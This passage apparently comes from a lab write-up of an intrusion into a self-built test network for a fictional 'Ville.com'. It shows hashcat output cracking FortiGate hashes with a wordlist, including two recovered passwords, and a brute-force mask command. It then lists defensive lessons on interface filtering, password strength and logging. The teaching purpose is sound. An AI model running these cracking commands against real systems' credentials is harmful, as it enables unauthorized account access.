Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...
Added hashes from file fortinet: 3 (3 salts)
NOTE: press enter for status-screen
AK1P6IPcOA4ONEoOaNZ4xHNnonB0q16ZuAwrfzewhnY4CUA:rangers#1
AK1OtpiTYJpak5+mlrSoGbFUU60sYMLvCB7o/QOeLCFK28A:MyBestFriends
Input.Mode: Dict (/usr/share/wordlists/rockyou.txt)
Index.....: 5/5 (segment), 553080 (words), 5720149 (bytes)
Recovered.: 2/3 hashes, 2/3 salts
Speed/sec.: 8.10M plains, 8.10M words
Progress..: 553080/553080 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--
Started: Sat May 17 13:44:34 2014
Stopped: Sat May 17 13:44:38 2014

This attack is very effective and fast. But, not all passwords are on the dictionary file. As result I could continue with a brute force technique to pursue the extraction of remaining password. The second command was executed to run a brute force attack (-a 3) with the hashing algorithm type Fortigate (-m 7000) and to try using a charset that contains all upper-case letters, all lower-case letters and all digits (?a) for the maximum size of 9 characters.  In a matter of days/weeks the password could be broken.

root@kali:/tmp# hashcat -a 3 -m 7000 ville.hash ?a?a?a?a?a?a?a?a?a --pw-min=1

Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...
Added hashes from file fortinet: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
NOTE: press enter for status-screen
Input.Mode: Mask (?a?a?a?a?a) [5]
Index.....: 0/1 (segment), 7737809375 (words), 0 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: - plains, 21.54M words
Progress..: 1284549568/7737809375 (16.60%)
Running...: 00:00:00:59
Estimated.: 00:00:04:59

Now, lets summarize the mistakes made by Ville.com so one perhaps learn from their errors and omissions.

Mistake #1 – Ville.com was not filtering incoming traffic to the management interface of its firewall. By allowing any IP address from the Internet to connect to the management interface Ville.com was exposed to a variety of attacks. A Nmap scan easily revealed the open ports and services associated with the ports. If there is a strong reason for someone to be able to do remote administration then the system should be configured with a list of trusted hosts and its configuration should be reviewed by someone who understands security.

Mistake #2 :  A common password based on dictionary with default account lock-out settings was used. This made an dictionary based attack easy to pull off using THC Hydra tool. Ville.com should consider applying as countermeasure to prevent such attacks a strong password or pass-phrase. Make sure is at least 12 characters long with a combination of numbers, upper and lower case letters plus special characters. Furthermore, passwords should be changed often. Other than that whenever possible use a second factor authentication methods such as Token, SMS or e-mail.

Mistake #3 : Ville.com was not using any kind of central logging system that would allow one to easily identify the password guessing attack. Further would allow a diligent sysadmin to do log review and identify abnormal activity even in case the attacker would attempt to cover its tracks.

Even though there are plenty of books and open source information that describe the methods and techniques demonstrated, the environment was built from scratch and allows to learn or reinforce techniques.  The tools and tactics used are not new. However, they are relevant and used in today’s attacks. Likewise, one can learn, practice and look behind the scenes to better know them and the impact they have. Part II will follow with more steps and how an attacker might increase its foothold , strengthen its position and move laterally.

 

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